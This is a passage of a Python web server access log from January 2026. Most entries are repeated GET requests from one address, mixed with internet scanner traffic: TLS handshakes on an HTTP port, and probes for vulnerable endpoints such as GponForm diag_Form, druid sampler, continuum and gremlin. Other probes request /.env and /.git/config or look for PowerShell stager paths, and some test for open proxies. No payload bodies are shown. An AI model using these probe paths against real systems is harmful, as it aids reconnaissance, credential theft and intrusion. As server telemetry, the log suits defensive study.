21:22:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:26:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:31:46] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:35:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:39:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:43:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:47:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:52:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 21:57:32] "GET / HTTP/1.1" 200 - +103.208.231.142 - - [07/Jan/2026 21:58:00] code 501, message Unsupported method ('POST') +103.208.231.142 - - [07/Jan/2026 21:58:00] "POST /GponForm/diag_Form?images/ HTTP/1.1" 501 - +185.16.39.146 - - [07/Jan/2026 22:01:41] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:06:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:10:10] "GET / HTTP/1.1" 200 - +147.185.132.192 - - [07/Jan/2026 22:13:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:14:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:19:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:24:01] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:27:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:32:04] "GET / HTTP/1.1" 200 - +170.64.221.63 - - [07/Jan/2026 22:32:23] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03òÍÛûr%½\\x8agþ\\x82ÚVeÊÏ}\\x8a\\x8aiE²/üM9\\x8e"A?\\x11\\x10\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À') +170.64.221.63 - - [07/Jan/2026 22:32:23] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03òÍÛûr%½\x8agþ\x82ÚVeÊÏ}\x8a\x8aiE²/üM9\x8e"A?\x11\x10\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +170.64.221.63 - - [07/Jan/2026 22:32:24] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03\\x19©Ú\\x0f\\x15Wd¥¡6') +170.64.221.63 - - [07/Jan/2026 22:32:24] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x19©Ú\x0f\x15Wd¥¡6\x0d\x07\x15ùâH\x7f" 400 - +170.64.221.63 - - [07/Jan/2026 22:32:25] "GET / HTTP/1.1" 200 - +170.64.221.63 - - [07/Jan/2026 22:32:25] code 404, message File not found +170.64.221.63 - - [07/Jan/2026 22:32:25] "GET /download/powershell/ HTTP/1.1" 404 - +170.64.221.63 - - [07/Jan/2026 22:32:26] code 404, message File not found +170.64.221.63 - - [07/Jan/2026 22:32:26] "GET /get.php HTTP/1.1" 404 - +185.16.39.146 - - [07/Jan/2026 22:36:36] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:39:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:44:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:49:56] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:53:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 22:57:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:02:09] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:05:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:11:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:15:59] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:19:09] "GET / HTTP/1.1" 200 - +192.159.99.95 - - [07/Jan/2026 23:20:46] code 501, message Unsupported method ('POST') +192.159.99.95 - - [07/Jan/2026 23:20:46] "POST /druid/indexer/v1/sampler HTTP/1.1" 501 - +---------------------------------------- +Exception occurred during processing of request from ('192.159.99.95', 39680) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 416, in handle_one_request + self.send_error( + File "/usr/lib/python3.10/http/server.py", line 485, in send_error + self.end_headers() + File "/usr/lib/python3.10/http/server.py", line 535, in end_headers + self.flush_headers() + File "/usr/lib/python3.10/http/server.py", line 539, in flush_headers + self.wfile.write(b"".join(self._headers_buffer)) + File "/usr/lib/python3.10/socketserver.py", line 826, in write + self._sock.sendall(b) +BrokenPipeError: [Errno 32] Broken pipe +---------------------------------------- +185.16.39.146 - - [07/Jan/2026 23:23:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:29:13] "GET / HTTP/1.1" 200 - +192.159.99.95 - - [07/Jan/2026 23:30:46] code 501, message Unsupported method ('POST') +192.159.99.95 - - [07/Jan/2026 23:30:46] "POST /continuum/saveInstallation.action HTTP/1.1" 501 - +---------------------------------------- +Exception occurred during processing of request from ('192.159.99.95', 37266) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 416, in handle_one_request + self.send_error( + File "/usr/lib/python3.10/http/server.py", line 485, in send_error + self.end_headers() + File "/usr/lib/python3.10/http/server.py", line 535, in end_headers + self.flush_headers() + File "/usr/lib/python3.10/http/server.py", line 539, in flush_headers + self.wfile.write(b"".join(self._headers_buffer)) + File "/usr/lib/python3.10/socketserver.py", line 826, in write + self._sock.sendall(b) +BrokenPipeError: [Errno 32] Broken pipe +---------------------------------------- +185.16.39.146 - - [07/Jan/2026 23:32:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:36:05] "GET / HTTP/1.1" 200 - +154.222.30.155 - - [07/Jan/2026 23:36:59] code 404, message File not found +154.222.30.155 - - [07/Jan/2026 23:36:59] "GET http://api.xiaoxiangdaili.com/?0.975393966460688095724 HTTP/1.1" 404 - +154.222.30.155 - - [07/Jan/2026 23:37:00] code 404, message File not found +154.222.30.155 - - [07/Jan/2026 23:37:00] "GET http://www.konpn.com/?0.62378996962765454568480 HTTP/1.1" 404 - +192.159.99.95 - - [07/Jan/2026 23:41:01] code 501, message Unsupported method ('POST') +192.159.99.95 - - [07/Jan/2026 23:41:01] "POST /continuum/saveInstallation.action HTTP/1.1" 501 - +185.16.39.146 - - [07/Jan/2026 23:41:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:45:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:49:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:54:02] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [07/Jan/2026 23:59:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:03:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:06:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:12:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:16:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:20:21] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:25:11] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 00:28:33] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:29:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:34:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:38:53] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:43:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:47:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:51:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 00:56:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:00:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:06:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:10:22] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:15:02] "GET / HTTP/1.1" 200 - +185.239.49.31 - - [08/Jan/2026 01:17:17] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:17] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:18] "GET / HTTP/1.1" 200 - +185.239.49.31 - - [08/Jan/2026 01:17:18] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:18] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:18] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:18] "GET /login.rsp HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:18] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:18] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:18] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:18] "GET /image/lgbg.jpg HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:19] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:19] "GET /nobody/favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:19] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:19] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:19] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:19] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:19] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:19] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:20] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:20] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:20] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:20] "GET /favicon.ico HTTP/1.1" 404 - +185.239.49.31 - - [08/Jan/2026 01:17:20] code 404, message File not found +185.239.49.31 - - [08/Jan/2026 01:17:20] "GET /skin/default_1/images/logo.png HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 01:18:18] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:24:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:27:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:31:49] "GET / HTTP/1.1" 200 - +192.159.99.95 - - [08/Jan/2026 01:34:28] code 501, message Unsupported method ('POST') +192.159.99.95 - - [08/Jan/2026 01:34:28] "POST /gremlin HTTP/1.1" 501 - +185.16.39.146 - - [08/Jan/2026 01:35:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:39:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:43:42] "GET / HTTP/1.1" 200 - +192.159.99.95 - - [08/Jan/2026 01:45:04] code 501, message Unsupported method ('POST') +192.159.99.95 - - [08/Jan/2026 01:45:04] "POST /gremlin HTTP/1.1" 501 - +---------------------------------------- +Exception occurred during processing of request from ('192.159.99.95', 55310) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 416, in handle_one_request + self.send_error( + File "/usr/lib/python3.10/http/server.py", line 485, in send_error + self.end_headers() + File "/usr/lib/python3.10/http/server.py", line 535, in end_headers + self.flush_headers() + File "/usr/lib/python3.10/http/server.py", line 539, in flush_headers + self.wfile.write(b"".join(self._headers_buffer)) + File "/usr/lib/python3.10/socketserver.py", line 826, in write + self._sock.sendall(b) +BrokenPipeError: [Errno 32] Broken pipe +---------------------------------------- +185.16.39.146 - - [08/Jan/2026 01:49:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:53:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 01:58:29] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:02:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:06:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:11:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:16:16] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:19:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:23:57] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:27:49] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:33:06] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:36:39] "GET / HTTP/1.1" 200 - +104.236.85.128 - - [08/Jan/2026 02:36:43] code 400, message Bad request syntax ("\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03'²8Ü\\x82\\x13") +104.236.85.128 - - [08/Jan/2026 02:36:43] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03'²8Ü\x82\x13" 400 - +104.236.85.128 - - [08/Jan/2026 02:36:43] code 400, message Bad request version ('À\\x14À') +104.236.85.128 - - [08/Jan/2026 02:36:43] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03ÊnÈT\x16t:PÊ;ì±\x85ïô4íQ\x13\x1c!¯\x08AÕÎ'EÖT#5\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +104.236.85.128 - - [08/Jan/2026 02:36:43] "GET / HTTP/1.1" 200 - +104.236.85.128 - - [08/Jan/2026 02:36:43] code 404, message File not found +104.236.85.128 - - [08/Jan/2026 02:36:43] "GET /download/powershell/ HTTP/1.1" 404 - +104.236.85.128 - - [08/Jan/2026 02:36:44] code 404, message File not found +104.236.85.128 - - [08/Jan/2026 02:36:44] "GET /get.php HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 02:42:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:45:31] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [08/Jan/2026 02:46:21] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [08/Jan/2026 02:47:36] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [08/Jan/2026 02:48:45] code 400, message Bad HTTP/0.9 request type ('\\x16\\x03\\x01\\x00{\\x01\\x00\\x00w\\x03\\x03\\x88\\x84,Æ8HóaOÓDÕ]{èx@´£÷\\x96\\x84GöMç\\x98\\x83=\\x00!:\\x00\\x00\\x1aÀ/À+À\\x11À\\x07À\\x13À') +3.132.23.201 - - [08/Jan/2026 02:48:45] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03\x88\x84,Æ8HóaOÓDÕ]{èx@´£÷\x96\x84GöMç\x98\x83=\x00!:\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [08/Jan/2026 02:49:25] "GET / HTTP/1.1" 200 - +3.132.23.201 - - [08/Jan/2026 02:50:47] code 400, message Bad request syntax ('SSH-2.0-Go') +3.132.23.201 - - [08/Jan/2026 02:50:47] "SSH-2.0-Go" 400 - +3.132.23.201 - - [08/Jan/2026 02:52:31] code 400, message Bad request version ('À\\x14À') +3.132.23.201 - - [08/Jan/2026 02:52:31] "\x16\x03\x01\x00{\x01\x00\x00w\x03\x03²"UÖáÁX\x85\x1b\x91\x90\x81\x91\x0e\x03ðX\x9aô\x85ÖCİ­Y¬w¯á\x9fë\x00\x00\x1aÀ/À+À\x11À\x07À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [08/Jan/2026 02:54:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 02:58:17] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:03:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:07:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:12:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:16:44] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:22:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:25:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:29:15] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:34:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:39:04] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:43:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:47:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:52:07] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 03:56:55] "GET / HTTP/1.1" 200 - +47.109.48.21 - - [08/Jan/2026 03:59:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:00:04] "GET / HTTP/1.1" 200 - +164.92.146.232 - - [08/Jan/2026 04:02:24] "GET / HTTP/1.1" 200 - +164.92.146.232 - - [08/Jan/2026 04:02:24] code 404, message File not found +164.92.146.232 - - [08/Jan/2026 04:02:24] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.139 - - [08/Jan/2026 04:04:37] code 400, message Bad request version ('À\\x14À') +66.132.153.139 - - [08/Jan/2026 04:04:37] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03w\x05\x8d¿¾\x8b/\x17 &²1\x13^\x81f\x1d\x9f\x08¢Å´y\x972\x05PÖJ¹ÚV SüãÅ\x1cÔfÆ\x99\x1ef^\x95\x10\x80dâî\x84a\x15;lõµÍ\x9c\x85\x8d\x1epW\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +66.132.153.139 - - [08/Jan/2026 04:04:37] "GET / HTTP/1.1" 200 - +66.132.153.139 - - [08/Jan/2026 04:04:37] code 505, message Invalid HTTP version (2.0) +66.132.153.139 - - [08/Jan/2026 04:04:37] "PRI * HTTP/2.0" 505 - +66.132.153.139 - - [08/Jan/2026 04:04:37] code 404, message File not found +66.132.153.139 - - [08/Jan/2026 04:04:37] "GET /favicon.ico HTTP/1.1" 404 - +66.132.153.139 - - [08/Jan/2026 04:04:42] code 400, message Bad request version ('\\x92n£g«0ì\\x944Á"»×') +66.132.153.139 - - [08/Jan/2026 04:04:42] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03üÿ3\x1f>|\x0cC\x1d)¬R;V\x80\x13¤º\x07\x9dÄÒ|쫯ãOëQñµ \x92n£g«0ì\x944Á"»×" 400 - +66.132.153.139 - - [08/Jan/2026 04:04:43] code 404, message File not found +66.132.153.139 - - [08/Jan/2026 04:04:43] "GET /sitemap.xml HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 04:05:19] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:09:38] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:13:24] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:16:58] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:22:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:26:28] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:30:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:34:43] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:40:57] "GET / HTTP/1.1" 200 - +91.224.92.14 - - [08/Jan/2026 04:41:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:44:05] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:47:45] "GET / HTTP/1.1" 200 - +154.222.30.155 - - [08/Jan/2026 04:48:47] code 404, message File not found +154.222.30.155 - - [08/Jan/2026 04:48:47] "GET http://nstool.netease.com/?0.10760218161825730404799124 HTTP/1.1" 404 - +154.222.30.155 - - [08/Jan/2026 04:48:49] code 404, message File not found +154.222.30.155 - - [08/Jan/2026 04:48:49] "GET http://www.blackle.com/?0.728415880423032667506544 HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 04:52:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 04:57:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:01:54] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:06:19] "GET / HTTP/1.1" 200 - +85.217.140.9 - - [08/Jan/2026 05:06:42] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:11:37] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:16:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:19:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:23:31] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 05:29:10] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:29:31] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:33:45] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:36:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:41:48] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:45:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:51:25] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 05:58:32] "GET / HTTP/1.1" 200 - +45.156.129.57 - - [08/Jan/2026 06:01:20] "GET / HTTP/1.1" 200 - +162.142.125.33 - - [08/Jan/2026 06:04:13] code 400, message Bad request version ('À\\x14À') +162.142.125.33 - - [08/Jan/2026 06:04:13] "\x16\x03\x01\x00î\x01\x00\x00ê\x03\x03½0\\¨Ù\x14´I\\\x0d»p²êöèõó«²Þ¥\x0fÍ\x19\x8b?Ô\x80#:\x1d \x9b7^Ȥ\x9d\x83ëÍ\x91iyØ{q\x9fíÑV5þðàÈУ©ø#ùçe\x00&̨̩À/À0À+À,À\x13À\x09À\x14À" 400 - +185.16.39.146 - - [08/Jan/2026 06:04:19] "GET / HTTP/1.1" 200 - +---------------------------------------- +Exception occurred during processing of request from ('162.142.125.33', 14210) +Traceback (most recent call last): + File "/usr/lib/python3.10/socketserver.py", line 683, in process_request_thread + self.finish_request(request, client_address) + File "/usr/lib/python3.10/http/server.py", line 1304, in finish_request + self.RequestHandlerClass(request, client_address, self, + File "/usr/lib/python3.10/http/server.py", line 668, in __init__ + super().__init__(*args, **kwargs) + File "/usr/lib/python3.10/socketserver.py", line 747, in __init__ + self.handle() + File "/usr/lib/python3.10/http/server.py", line 433, in handle + self.handle_one_request() + File "/usr/lib/python3.10/http/server.py", line 401, in handle_one_request + self.raw_requestline = self.rfile.readline(65537) + File "/usr/lib/python3.10/socket.py", line 705, in readinto + return self._sock.recv_into(b) +ConnectionResetError: [Errno 104] Connection reset by peer +---------------------------------------- +162.142.125.33 - - [08/Jan/2026 06:05:14] code 400, message Bad request syntax ('ZG\\x00\\x00\\x00\\x05\\x00+\\x0e\\x01\\x00') +162.142.125.33 - - [08/Jan/2026 06:05:14] "ZG\x00\x00\x00\x05\x00+\x0e\x01\x00" 400 - +185.16.39.146 - - [08/Jan/2026 06:07:20] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:13:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:17:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:20:34] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:26:12] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:29:51] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:34:10] "GET / HTTP/1.1" 200 - +103.230.107.236 - - [08/Jan/2026 06:34:51] code 501, message Unsupported method ('POST') +103.230.107.236 - - [08/Jan/2026 06:34:51] "POST /index.php?s=/home/page/uploadImg HTTP/1.1" 501 - +103.230.107.236 - - [08/Jan/2026 06:35:03] code 400, message Bad request version ('G\\x83\\x8c8\\x91\\x96LsÈ×kIÓ\\x00\\x00*À+À/\\x00\\x9ę̩̪À') +103.230.107.236 - - [08/Jan/2026 06:35:03] "\x16\x03\x01\x00 \x01\x00\x00\x9c\x03\x03üOvf\x0b[£!a\x83¤|É@O\x9aó!\x09G\x83\x8c8\x91\x96LsÈ×kIÓ\x00\x00*À+À/\x00\x9ę̩̪À" 400 - +185.16.39.146 - - [08/Jan/2026 06:38:20] "GET / HTTP/1.1" 200 - +204.76.203.212 - - [08/Jan/2026 06:44:08] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:44:11] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:48:27] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:51:39] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 06:56:48] "GET / HTTP/1.1" 200 - +144.126.229.26 - - [08/Jan/2026 06:57:33] code 404, message File not found +144.126.229.26 - - [08/Jan/2026 06:57:33] "GET /.env HTTP/1.1" 404 - +144.126.229.26 - - [08/Jan/2026 06:57:33] code 404, message File not found +144.126.229.26 - - [08/Jan/2026 06:57:33] "GET /.git/config HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 07:00:33] "GET / HTTP/1.1" 200 - +20.118.224.96 - - [08/Jan/2026 07:02:29] "GET / HTTP/1.1" 200 - +20.118.224.96 - - [08/Jan/2026 07:02:29] code 400, message Bad request syntax ('MGLNDD_83.222.24.31_8080') +20.118.224.96 - - [08/Jan/2026 07:02:29] "MGLNDD_83.222.24.31_8080" 400 - +185.16.39.146 - - [08/Jan/2026 07:05:32] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:09:27] "GET / HTTP/1.1" 200 - +64.62.197.167 - - [08/Jan/2026 07:09:39] "GET / HTTP/1.1" 200 - +64.62.197.175 - - [08/Jan/2026 07:10:11] code 404, message File not found +64.62.197.175 - - [08/Jan/2026 07:10:11] "GET /favicon.ico HTTP/1.1" 404 - +64.62.197.180 - - [08/Jan/2026 07:10:26] code 404, message File not found +64.62.197.180 - - [08/Jan/2026 07:10:26] "GET http://api.ipify.org/?format=json HTTP/1.1" 404 - +64.62.197.175 - - [08/Jan/2026 07:10:38] code 501, message Unsupported method ('CONNECT') +64.62.197.175 - - [08/Jan/2026 07:10:38] "CONNECT www.shadowserver.org:443 HTTP/1.1" 501 - +64.62.197.167 - - [08/Jan/2026 07:10:51] code 404, message File not found +64.62.197.167 - - [08/Jan/2026 07:10:51] "GET /geoserver/web/ HTTP/1.1" 404 - +185.16.39.146 - - [08/Jan/2026 07:14:50] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:18:14] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:22:13] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:26:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:32:03] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:35:55] "GET / HTTP/1.1" 200 - +185.16.39.146 - - [08/Jan/2026 07:39:47] "GET / HTTP/1.1" 200 - +185.16.39.146 - - 